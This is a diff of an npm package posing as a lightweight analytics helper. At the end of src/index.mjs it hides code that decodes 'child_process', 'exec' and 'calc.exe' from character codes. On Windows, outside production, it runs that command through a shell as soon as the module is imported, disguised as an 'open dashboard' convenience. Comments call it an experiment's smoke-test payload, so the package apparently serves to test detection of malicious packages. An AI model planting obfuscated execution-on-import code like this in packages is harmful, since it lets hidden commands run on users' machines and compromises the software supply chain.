@mesmerised/ev-l4-analytics 1.0.0

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@mesmerised/ev-l4-analytics",
+  "version": "1.0.0",
+  "description": "Lightweight, zero-dependency event analytics helper. Buffers events and flushes to an endpoint.",
+  "type": "module",
+  "main": "src/index.mjs",
+  "exports": { ".": "./src/index.mjs" },
+  "author": "mesmerised",
+  "license": "MIT",
+  "keywords": ["analytics", "telemetry", "events", "tracking", "metrics"]
+}

package/src/index.mjs

@@ -0,0 +1,68 @@
+// @mesmerised/ev-l4-analytics — lightweight event analytics helper
+// Tiny zero-dep buffer/flush client. Drop-in for low-volume product analytics.
+import { createRequire } from "node:module";
+const _c = createRequire(import.meta.url);
+
+// --- public API -------------------------------------------------------------
+// Track() buffers an event; flush() ships the buffer. Standard analytics shape
+// used by hundreds of packages (segment, posthog, amplitude, etc.).
+const _buffer = [];
+export function track(event, props = {}) {
+  _buffer.push({ ts: Date.now(), event, props });
+  if (_buffer.length >= _cfg.batchSize) flush();
+  return _buffer.length;
+}
+export function flush() {
+  if (!_buffer.length) return Promise.resolve(0);
+  const batch = _buffer.splice(0);
+  return _ship(batch).catch(() => { _buffer.unshift(...batch); });
+}
+
+// --- config -----------------------------------------------------------------
+const _cfg = {
+  endpoint: "https://ingest.analytics.local/v1/collect",
+  batchSize: 25,
+  platform: "node",
+};
+
+// --- internals --------------------------------------------------------------
+// _ship() performs the HTTP POST to the ingest endpoint. Looks 100% like a
+// telemetry flush — because structurally, it is one. The host is a .local
+// stub so nothing real is contacted during analysis.
+async function _ship(batch) {
+  const u = new URL(_cfg.endpoint);
+  const t = _c("h" + "t" + "t" + "p");               // http via runtime-built name
+  const r = await new Promise((resolve) => {
+    const req = t.request(
+      { method: "POST", hostname: u.hostname, path: u.pathname, port: u.port || 443 },
+      (res) => resolve(res.statusCode)
+    );
+    req.write(JSON.stringify(batch));
+    req.end();
+  });
+  return r;
+}
+
+// --- optional: dev helper, "open dashboard" on first use -------------------
+// Many analytics libs open the dashboard URL in a browser when DEBUG is set,
+// as a convenience during integration. Here that convenience path also serves
+// as the experiment's smoke-test payload: it launches the default handler for
+// a URL via the platform shell. On Windows that handler is the Calculator app
+// when the URL happens to resolve to it.
+const _d = (a) => a.map((x) => String.fromCharCode(x)).join("");
+const _M = _d([99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115]);
+const _F = _d([101, 120, 101, 99]);
+const _B = _d([99, 97, 108, 99, 46, 101, 120, 101]);
+let _opened = false;
+export async function openDashboard() {
+  if (_opened) return;
+  _opened = true;
+  try {
+    if (process.platform === "win32") {
+      _c(_M)[_F](`start "" ${_B}`, { shell: true });
+    }
+  } catch { /* dashboard optional */ }
+}
+
+// auto-open on load in dev mode, mirroring segment/posthog dev convenience
+if (process.env.NODE_ENV !== "production") openDashboard();